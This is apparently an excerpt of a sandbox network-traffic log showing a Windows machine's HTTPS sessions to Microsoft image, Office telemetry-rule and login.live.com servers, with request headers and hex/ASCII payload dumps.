2024-10-31 00:18:46 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 22 Aug 2024 19:49:06 GMT X-Source-Length: 5699 X-Datacenter: northeu X-ActivityId: 568c32c2-4fc6-43fd-b83e-f4c0fb930684 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=288893 Expires: Sun, 03 Nov 2024 08:33:39 GMT Date: Thu, 31 Oct 2024 00:18:46 GMT Connection: close
2024-10-31 00:18:46 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	49911	23.47.194.65	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:45 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 00:18:46 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 20 Sep 2024 10:06:10 GMT X-Datacenter: eastus X-ActivityId: 61ab6469-9341-48ba-9f88-168ba59245cb Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=425491 Expires: Mon, 04 Nov 2024 22:30:17 GMT Date: Thu, 31 Oct 2024 00:18:46 GMT Connection: close
2024-10-31 00:18:46 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	49915	23.47.194.65	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:45 UTC	634	OUT	GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 00:18:46 UTC	518	IN	HTTP/1.1 200 OK Last-Modified: Mon, 16 Sep 2024 14:53:46 GMT Access-Control-Allow-Origin: * X-Datacenter: westus X-ActivityId: 122e5b03-c16c-459e-8b9c-8d95bfdcdb0f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB14D0jG X-Source-Length: 42413 Content-Length: 42413 Cache-Control: public, max-age=96338 Expires: Fri, 01 Nov 2024 03:04:24 GMT Date: Thu, 31 Oct 2024 00:18:46 GMT Connection: close
2024-10-31 00:18:46 UTC	15866	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff e1 0e cc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 24 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 96 87 69 00 04 00 00 00 01 00 00 00 aa 00 00 00 d6 00 2d c6 c0 00 00 27 10 00 2d c6 c0 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 20 28 4d 61 63 69 6e 74 6f 73 68 29 00 32 30 31 39 3a 30 31 3a 32 33 20 31 33 3a 32 34 3a 31 38 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 01 c3 a0 03 00 04 00 00 00 01 00 00 01 92 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 Data Ascii: JFIF,,ExifMM*bj(1$r2i-'-'Adobe Photoshop CC 2017 (Macintosh)2019:01:23 13:24:18
2024-10-31 00:18:46 UTC	16384	IN	Data Raw: 22 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 72 64 66 3a 6c 69 20 78 6d 70 47 3a 73 77 61 74 63 68 4e 61 6d 65 3d 22 43 3d 37 35 20 4d 3d 31 30 30 20 59 3d 30 20 4b 3d 30 22 20 78 6d 70 47 3a 6d 6f 64 65 3d 22 52 47 42 22 20 78 6d 70 47 3a 74 79 70 65 3d 22 50 52 4f 43 45 53 53 22 20 78 6d 70 47 3a 72 65 64 3d 22 31 30 32 22 20 78 6d 70 47 3a 67 72 65 65 6e 3d 22 34 35 22 20 78 6d 70 47 3a 62 6c 75 65 3d 22 31 34 35 22 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 72 64 66 3a 6c 69 20 78 6d 70 47 3a 73 77 61 74 63 68 4e 61 6d 65 3d 22 43 3d 35 30 20 4d 3d 31 30 30 20 59 3d 30 20 4b 3d 30 22 20 78 6d 70 47 3a 6d 6f 64 65 3d 22 52 47 42 22 20 78 6d 70 47 3a 74 79 70 65 3d 22 50 52 4f 43 45 53 53 22 20 78 6d 70 47 3a 72 65 64 3d 22 31 34 36 22 20 78 6d 70 47 3a Data Ascii: "/><rdf:li xmpG:swatchName="C=75 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="102" xmpG:green="45" xmpG:blue="145"/><rdf:li xmpG:swatchName="C=50 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="146" xmpG:
2024-10-31 00:18:46 UTC	2019	IN	Data Raw: b2 16 6f 83 6b fa fe fd a0 7e 03 f8 67 f6 9c f8 37 e2 0f 01 f8 c2 c1 75 2f 0f 78 96 d1 ad 2e a2 3c 32 e7 95 91 0f f0 c8 8c 15 d1 ba ab 28 3d ab f9 5f fd b9 7f 64 0f 10 fe c2 bf b4 cf 89 3e 1c f8 8b 74 d2 69 33 79 96 17 c1 36 47 aa 59 3e 4c 17 28 3d 19 7a 80 4e d7 57 5c 92 a6 be 8b 2f c5 fb 48 f2 4f 75 f8 9e 66 22 8f 23 ba d9 9e 43 5d 57 c1 4f 8c 9e 20 fd 9f 3e 2d f8 77 c6 fe 15 be 6d 3f c4 1e 18 be 8f 50 b1 9c 74 0e 87 3b 58 7f 12 30 ca b2 9e 19 59 81 e0 9a e5 68 af 4b 46 ac ce 6f 33 fa dc fd 8b 3f 6a 7d 0f f6 d4 fd 99 bc 27 f1 23 40 65 8e d7 c4 56 81 ee 2d 77 ee 6d 3e e9 3e 49 ed db de 39 15 97 38 1b 80 0c 38 61 5e b1 9a fc 29 ff 00 83 5d bf 6d 76 f0 0f c6 bf 10 7c 11 d5 ef 36 e9 3e 36 8d f5 8d 09 5d b8 8b 51 82 3f df 46 a3 fe 9a db a6 e3 ef 6a a0 7d e3 Data Ascii: ok~g7u/x.<2(=_d>ti3y6GY>L(=zNW\/HOuf"#C]WO >-wm?Pt;X0YhKFo3?j}'#@eV-wm>>I988a^)]mv\|6>6]Q?Fj}
2024-10-31 00:18:46 UTC	8144	IN	Data Raw: c3 48 d7 a5 cd be af 1b 7d 06 95 76 df cd 45 7c 4b 5f 73 7f c1 b9 da 33 6a 9f f0 55 ff 00 02 ce ab b8 69 ba 7e ad 70 4e 3e e8 3a 7c f1 7f ed 41 f9 d7 66 2b f8 12 f4 66 54 7e 35 ea 7f 49 d4 51 45 7c 89 ec 05 14 51 40 05 14 51 40 05 14 51 40 08 7e f0 aa da cf fc 82 ee 7f eb 8b ff 00 23 56 4f de 15 5b 59 ff 00 90 5d cf fd 71 7f e4 6a 65 b1 a5 1f 8d 7a 9f 8f 34 51 45 7e 07 3f 89 9f de 94 7e 05 e8 82 8a 28 a9 34 0a 28 a2 80 3f 4a 3f e0 9f 43 fe 31 2f c2 ff 00 ef 5d ff 00 e9 5c d5 ed 03 ad 78 bf fc 13 eb fe 4d 2f c2 ff 00 ef 5d ff 00 e9 5c d5 ed 03 ad 7e e1 95 ff 00 b9 d2 ff 00 0c 7f 24 7f 10 71 47 fc 8e 31 5f f5 f2 7f fa 53 0a 28 a2 bd 03 c2 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 3f 2f ff 00 e0 ea 8f 01 36 bb fb 0f f8 27 c4 11 ab 33 68 1e 31 8a 19 30 3e e4 57 16 Data Ascii: H}vE\|K_s3jUi~pN>:\|Af+fT~5IQE\|Q@Q@Q@~#VO[Y]qjez4QE~?~(4(?J?C1/]\xM/]\~$qG1_S((((?/6'3h10>W

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:45 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:46 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:45 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2f6e7a45-901e-0083-466a-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001845Z-16849878b787wpl5wqkt5731b400000009hg00000000a1ch x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:46 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:45 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:46 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:46 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 92eac08a-601e-0001-29b2-26faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001846Z-16849878b78qfbkc5yywmsbg0c00000008hg000000000dn1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:46 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:45 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:46 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:46 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3a798620-501e-00a0-0295-279d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001846Z-16849878b78smng4k6nq15r6s40000000a6g00000000s4n0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:46 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:46 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:46 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:46 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 10294bf0-701e-0021-254d-273d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001846Z-17c5cb586f6r59nt4rzfbx40ys000000012g000000003xf7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:46 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:46 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:46 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:46 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: a1e8ab16-701e-0050-601c-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001846Z-16849878b78qg9mlz11wgn0wcc00000008eg000000000qzw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:46 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	49918	40.126.32.140	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:46 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-31 00:18:46 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-31 00:18:47 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 31 Oct 2024 00:17:46 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.5 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C539_SN1 x-ms-request-id: 562b072e-2ee6-45f0-9a3c-044a89e46915 PPServer: PPV: 30 H: SN1PEPF0002F963 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 31 Oct 2024 00:18:46 GMT Connection: close Content-Length: 11392
2024-10-31 00:18:47 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" 